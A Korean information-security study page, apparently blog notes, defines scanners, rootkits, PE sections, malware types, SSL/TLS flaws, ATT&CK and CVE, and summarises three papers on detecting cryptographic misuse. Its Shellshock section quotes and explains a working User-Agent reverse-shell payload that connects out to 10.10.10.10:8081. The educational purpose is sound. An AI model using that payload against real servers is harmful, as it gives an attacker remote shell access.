: 파일시스템 무결성 점검이란 파일시스템의 상태 추적 및 허가받지 않은 변경 여부를 주기적으로 점검하여 의심스러운 변화가 감지되면 이를 검사하고 복구하는 과정

네서스(Nessus)

: 미국 테너블(Tenable)사가 개발/배포하는 취약점 점검 도구(스캐너)로 로컬 또는 원격지에서 다양한 방법을 통해 시스템, 네트워크, 웹 애플리케이션 등의 알려진 취약점에 대한 점검을 수행하며 점검을 통해 취약점의 내용과 해결 방법을 상세하게 제공

닉토(Nikto)

: 웹서버 또는 웹 애플리케이션 취약점을 점검할 수 있는 공개 점검 도구(스캐너)로 방대한 취약점 데이터베이스를 이용하여 다양한 형태의 취약점을 스캔

기본 도구들

11('18)

명령어 설명
find / -mtime -7 최상위 디렉터리(/) 이하에서 7일 이내에 변경된 파일을 찾아라
find / -user root -perm -4000 최상위 디렉터리(/) 이하에서 root 소유이고 setuid가 설정된 파일을 찾아라
tcpdump -i eth0 "host 192.168.56.100 and host 192.168.56.20" tcpdump를 이용하여 eth0 인터페이스로 A-Host(IP: 192.168.56.100)와 B-Host(IP:192.168.56.20) 호스트 사이에 오가는 패킷을 전부 출력해라

strace

: 유닉스/리눅스 시스템에서 특정 프로그램(실행파일)의 시스템 콜(system call)과 시그널(signal)을 추적하는데 사용하는 디버깅 도구

: strace -e trace=open ps ps 프로그램에 대하여 open 시스템 콜을 추적해 출력


루트킷

: 해커들이 지속해서 자신의 존재를 숨기고 루트 권한을 획득과 백도어 등의 기능을 수행하는 코드와 프로그램의 집합

: ps와 같은 중요한 시스템 실행파일을 변조하여 자신의 실행 프로세스를 은닉하는 경우가 발생하는데 이를 탐지하기 위한 다양한 루트킷 탐지 프로그램들이 존재

: 루트킷 탐지 프로그램들은 ps를 실행하여 보이는 정보와 /proc 디렉터리에 있는 프로세스 정보를 비교하여 숨겨진 프로세스가 있는지를 검사

  • proc 파일시스템은 디스크가 아닌 메모리 영역에 존재하는 파일시스템으로 부팅 시 /proc 디렉터리에 마운트
  • 유닉스/리눅스 계열 운영체제에서 프로세스와 다양한 시스템 정보를 계층적 파일 구조 형식으로 보여주는 특별한 파일시스템
  • /proc/<pid>/exe는 프로세스의 실행파일명 및 경로를 확인할 수 있는 심볼릭링크 파일로 경소상에 파일이 삭제된 경우 위 (deleted)로 표시됨
  • /proc/<pid>/cmdline은 프로세스를 실행한 명령어 및 전달 인자(argument)를 담고 있는 파일

쉘 코드(Shell Code)

: 어셈블리어(기계어)로 작성된 작은 크기의 코드로 좁은 의미의 쉘 코드는 쉘(바인드 또는 리버스 형태의 쉘)을 실행시키는 코드를 의미하며 넓은 의미의 쉘 코드는 쉘을 실행시키는 것뿐만이 아니라 공격자가 원하는 작업을 수행하는 다양한 형태의 코드를 의미

어셈블리 코드 설명
RET x86 계열에서 ESP 레지스터가 가리키는 값을 EIP 레지스터로 이동

Windows PE(Portable Executable) 파일

: 윈도우 운영체제에서 사용하고 있는 실행파일 구조로 실행파일이 적재되는 가상주소, Import/Export API 목록, 코드, 데이터 등의 정보를 관리하기 위해 파일 첫 부분에 여러 가지 구조체로 구성되어 있음

IMAGE_SECION_HEADER

섹션 이름 설명
.text 프로그램 실행 코드를 담고 있는 섹션
.data 읽기 쓰기가 가능한 데이터 섹션으로 전역변수와 정적변수 등이 위치
.rdata 읽기 전용 데이터 섹션으로 상수형 변수, 문자열 상수 등이 위치
.bss 초기화되지 않은 전역변수가 위치
.idata 임포트(Import)할 DLL과 그 API/함수들에 대한 정보를 담고 있는 섹션
.edata 익스포트(Export)할 DLL과 그 API/함수들에 대한 정보를 담고 있는 섹션
.rsrc 다이얼로그, 아이콘, 커서 등의 윈도우 애플리케이션 리소스 관련 데이터들을 담고 있는 섹션

악성코드

* 멀버타이징(Malvertising)

: 악성코드(Malware)와 광고(Advertising)의 합성어로 온라인 광고를 이용하여 악성코드를 전파하는 기법

* 드롭퍼(Dropper)

: 일반적인 다운로더가 아닌 사용자가 인식하지 못하는 순간에 악성코드를 생성하며 사용자의 시스템 내부/외부에서 다양한 경로로 악성코드를 감염시킴

* 인젝터(Injector)

: 드롭퍼의 특수한 형태로 파일을 생성하지 않고 자신의 데이터를 이용해 바로 새로운 프로세스를 생성하여 메모리에 상주시키는 형태의 악성코드

* YARA(야라)

: 악성코드에 포함된 텍스트 또는 바이너리 패턴 정보(시그니처)를 이용하여 악성코드를 식별하고 분류할 수 있는 오픈소스 프로젝트 도구로 단순히 텍스트 또는 바이너리 패턴뿐만이 아니라 파일이나 프로세스의 오프셋, 가상 메모리 주소 활용 및 정규표현식 등을 이용하여 다양한 룰을 생성할 수 있음

: 바이러스 토탈(Virus Total)에서 제작하였으며 오픈소스로 관리되고 있음

* 분석 기법

5('15)

** 정적(static) 분석

: 프로그램의 기능을 파악하고 코드나 프로그램의 구조를 분석

** 동적(dynamic) 분석

: 안전한 샌드박스(sandbox) 환경에서 프로그램의 다양한 입력값을 전달하며 실행시켜 그 결과를 이용하여 분석


공격/취약점

공급망 공격(Supply chain Attack)

: S/W 개발사의 네트워크에 침투하여 소스코드를 수정하여 악의적인 목적의 코드를 삽입하거나 배포를 위한 서버에 접근하여 악의적인 파일로 변경하는 방식을 통해 사용자 PC에서 소프트웨어 설치 또는 업데이트 시에 자동으로 하는 공격

DDE(Dynamic Data Exchange)

: 마이크로소프트 오피스 응용 프로그램 간 데이터 전달을 위해 제공하는 프로토콜

: VBS 매크로 코드를 이용하지 않고 악성 기능을 수행할 수 있음

APT 공격

: 기존 불특정 다수를 대상으로 하는 해킹 기법과는 달리 정치적/사회적/경제적/기술적/군사적으로 중요한 특정 대상을 정하여 공격하며 장기적으로 정보를 수집하고 지속적으로 치밀한 공격을 감행하며 목표 달성에 필요하다면 내부 직원 이용, 사회공학 기법 활용 등의 복합적이고 지능적인 공격 수법

SSDP 증폭 반사 공격

: 증폭/반사(Amplification/Reflection) 공격의 일종으로 1900/udp 포트를 사용하며 공개된 IoT(Internet of Things) 기기 검색 요청을 조작해 기기로부터 발생하는 상대적으로 큰 응답 패킷이 희생자 호스트에게 전달되어 서비스 거부를 유발시킴

: SSDP(Simple Service Discovery Protocol)을 악용하는 공격

쉘쇼크(Shell Shock)

7('16)

: OpenSSL 하트블리드(HeartBleed) 취약점 이후 아래에 같이 인터넷을 통해 간단한 명령만으로 시스템을 장악할 수 있는 심각한 취약점

: "() {"로 시작하는 함수 선언문 끝에 임의의 명령어를 추가로 삽입하여 환경변수에 저장할 경우 삽입한 명령어까지 실행 가능

  • User-Agent:() { :; }; /bin/bash > /dev/tcp/10.10.10.10/8081 0<& 1
  • 공격자의 CGI 요청을 통해 실행되는 Bash의 표준입력과 표준출력이 TCP 클라이언트 소켓으로 재지정(redirection)되고 TCP 클라이언트 소켓은 공격자(IP:10.10.10.10)의 리스닝 포트(Port:8081)로 접속하기 때문에 공격자는 타겟 웹서버의 Bash에 접근할 수 있다.
  • 즉, 쉘쇼크(ShellShock) 취약점을 이용하여 타겟 웹서버에 리버스 쉘(Reverse Shell) 연결을 위한 공격을 하고 있다.

DBD(Drive By Download) 공격

5('15)

: 최초 접속지에서 여러 경유지로 접속을 유도하여, 최종 유포지에서 악성코드를 다운로드 시킴


SSL/TLS 관련 주요 취약점

하트블리드(HeartBleed)

8('16)

: 하트비트(HeartBeat)라는 SSL/TLS 확장 프로토콜을 구현하는 과정에서 발생한 취약점

: 취약점이 발견된 OpenSSL 버전이 설치된 서버에서 인증정보 등이 저장된 64Kbyte 크기의 메모리 데이터를 외부에서 아무런 제한 없이 탈취할 수 있음

: 웹서버로 전송된 개인정보, 비밀번호 등을 물론 웹서버의 암호키도 탈취될 수 있음

POODLE

: SSL/TLS 협상 시 버전 다운그레이드 공격을 통해 SSLv3.0을 사용하도록 강제한 후 중간자 공격(MITM: Man In The Middle)을 통해 암호화되어 송수신되는 정보를 탈취하는 공격

: SSLv3.0의 블록 암호화 기법인 CBC 모드를 사용하는 경우 발생하는 패딩된 암호화 블록이 MAC(메시지인증코드)에 의해 보호되지 않는 취약점을 이용


사이버 킬 체인(Cyber Kill Chain)

: APT(Advanced Persistence Threat) 공격에 대한 대비책

: 미국 록히드 마틴사가 정식 명칭을 특허로 등록

: 군사용으로 적 미사일 기지에 대한 선제공격을 의미하며, 사이버공격에 대한 선제 대응책으로 사회적인 이슈로 대두되기도 하였음

: 사이버상 공격자의 공격단계 중 하나를 사전에 제거하면 실제 공격까지 이어지지 않는다는 점에서 착안한 방어 전략


MITRE(마이터)

ATT&CK

: 사이버공격의 흐름을 분류하는 기준으로 MITRE(마이터) 사에서는 사이버공격 전략(Tactics) 및 전술(Techniques)에 대한 정보를 기반으로 하는 프레임워크

: 전통적인 사이버 킬 체인(Cyber Kill Chain)의 7단계를 확장한 모델로 공격자로부터 발생한 일관된 공격 행동 패턴에 대한 분석을 기반으로 공격자의 행위를 식별해 줄 수 있음

CVE(Common Vulnerability & Exposures)

: 동일한 취약성에 대해 해커와 보안업체 간 다르게 사용해온 명칭을 표준화한 목록

: 공개된 정보보안 취약점 및 노출에 대한 식별정보를 제공

: 과거 업체별 또는 소프트웨어별로 각각 관리되던 보안 버그나 취약점들을 통합해서 관리한다는 의미가 있음

: 도출된 취약점은 MITRE의 테스트를 거쳐 호환성이 충족된 보안제품과 서비스에만 등록할 수 있음

CVSS(Common Vulnerability Scoring System)

: 보안 취약점 관리 체계인 CVE(Common Vulnerabilities & Exposures)의 요소 중 하나로 보안취약점이 동작하는 환경, 절차 및 파급력 등을 고려해 취약점의 심각한 정도를 평가하는(수치화하는) 공개 프레임워크

CWE(Common Weakness Enumeration)

: MITRE 사가 중심이 되어 여러 업체와 연구기관이 협력하여 소프트웨어에서 공통으로 발생하는 약점(취약점)을 체계적으로 분류한 목록으로 소프트웨어 개발 생명 주기(SDLC: Software Development Life Cycle)에서 발생할 수 있는 모든 약점 목록(설계, 아키텍처, 코드 단계 등)을 포함함

CWSS(Common Weakness Scoring System)

: CWE에 등록된 취약점의 위험성을 정량화하기 위한 점수 체계

An Empirical Study of Cryptographic Misuse in Android Applications

정보

Keywords

  • 안드로이드
  • 암호화
  • 오용

배경

  • 개발자들은 안드로이드에서 비밀번호 및 개인 정보를 기기에서 보호하기 위하여 암호화 API를 사용함
  • 암호학자들은 제대로 된 사용 방법이 강력한 보안을 보장해 주며 잘못된 방법이 문제로 이어질 수 있음을 알고 있음
  • 하지만 개발자는 올바른 방식으로 암호화 API를 사용하는 방법을 알고 있는지 모르겠음

목표

  • 개발자들이 암호화 API를 제대로 사용하는지를 확인해 보자.
  • 특히 잘 알려진 2개의 보안 표준에 중점을 둠
    1. chosen plaintext attacks (IND-CPA)
    2. cracking resistance
  • 점검 플랫폼은 안드로이드
    1. 다양한 개인정보이 위치하고 있음
    2. 안정적인 Java 암호화 API를 사용함
    3. 점검할 수 있는 모수가 큼

방법론

  • Google Play 마켓에 올라가 있는 프로그램을 자동으로 확인하는 프로그램 분석 기법을 개발함
  • CryptoLint, Androguard Android 프로그램 분석 프레임워크 기반의 정적 분석 도구
    1. Androguard가 Dalvik byte-code를 disassemble해주면, 이를 IR로 바꿈
    2. 이 IR을 비슷한 그룹군으로 구분하고, 프로시저 간 분석을 통해 sCFG(Control Flow Graph)를 만듦
      • 모든 메소드들은 SSA(single static assignment)로 변환됨
      • 모든 클래스들의 계층 구조를 추출함
      • 이를 기반으로 sCFG를 생성함
    3. slicing 알고리즘으로 특정 지점의 변수를 기준으로 순방향 또는 역방향으로 탐색함
    4. 보안 속성들을 평가함

결과

  • 암호화 API를 사용하는 대략 88%의 어플리케이션에서 하나 이상의 실수를 하는 것을 발견함

결론

  • 안드로이드 어플리케이션에서 전반적인 암호화 보안을 향상시키는 방향으로 분석 기반의 구체적인 수정 사항을 제안해 줌.

Cryptoguard: High precision detection of cryptographic vulnerabilities in massive-sized Java projects

정보

Keywords

  • Cryptographic API misuses
  • 오탐/미탐
  • 정적 분석
  • Java

배경

  • 암호화 API 오용은 소프트웨어 보안을 위혐함
  • 또한 자동으로 대규모의 프로그램들에서 암호화 API 오용을 탐지하고 있음
  • 하지만 분석 성능과 타협하지 않으면서 오탐을 줄이는 것은 어려움

목표

  • 암호화 및 SSL/TLS API 오용을 탐지하는 분석 알고리즘들을 설계하고 구현함
  • 다양한 Apache 프로젝트 및 안드로이드 어플리케이션에서 탐지 성능을 확인해 봄
  • 테스트 해 볼 수 있는 성능확인용 테스트 케이스를 만듦

방법론

  • CryptoGuard: 언어별로 상관 없는 요소들을 탐지하는 알고리즘들을 활용하는 도구
    1. 정적 def-use 분석과 순방향 및 역방향으로 program slicings를 적용함
    2. 각 program slice에서 취약점을 탐지함
      • 취약점마다 slicing 방법이 다름(Table 1)

결과

  • 46개의 중요한 Apache 프로젝트와 6181개의 안드로이드 앱에서 많은 보안 insight를 생성함
  • 1295개의 Apache 경고를 수동으로 분석하여 1277개(98.61%)가 정탐임을 확인함

CRYPTOREX: Large-scale Analysis of Cryptographic Misuse in IoT Devices

정보

Keywords

  • 암호화 오용
  • IoT Firmware
  • Unified-IR

배경

  • 암호화 함수는 잘 정의되었고 신중하게 구현이 되어 있지만, 미숙한 개발자에 의해 실수를 야기하기 쉬움
  • 게다가 자원이 한정된 IoT 환경에서는 성능을 위해 보안을 희생하기도 함

목표

  • CryptoREX(다양한 아키텍처의 IoT 장치에서 암호화 오용을 식별하는 프레임워크)를 설계하고 구현함

방법론

  • CryptoREX
    1. 펌웨어 획득(다운로드) 및 전처리(실행파일 추출)
    2. 바이너리 실행파일을 VEX IR로 바꿈
    3. ICFG(Inter-procedural Control Flow Graph) 생성
    4. 암호 함수 별 파일 구분 없는 호출 그래프를 만듦
    5. Backward taint 분석 수행함
  • 암호화 API 목록은 실행 중에 계속 갱신되며, 자동으로 함수의 인자도 추적함

결과

  • 521개의 펌웨어에서 165개의 사전 정의된 암호화 API로 총 679개의 암호화 오용을 찾음
  • 한개의 펌웨어 당 1120초의 소요시간이 걸림
  • 암호화 오용은 민감한 정보 유출, 인증 우회, 비밀번호 brute-force 등을 가능하게 함

결론

  • 오늘날의 많은 IoT 개발에서 부족한 구현과 취약한 보호를 강조함

+ Recent posts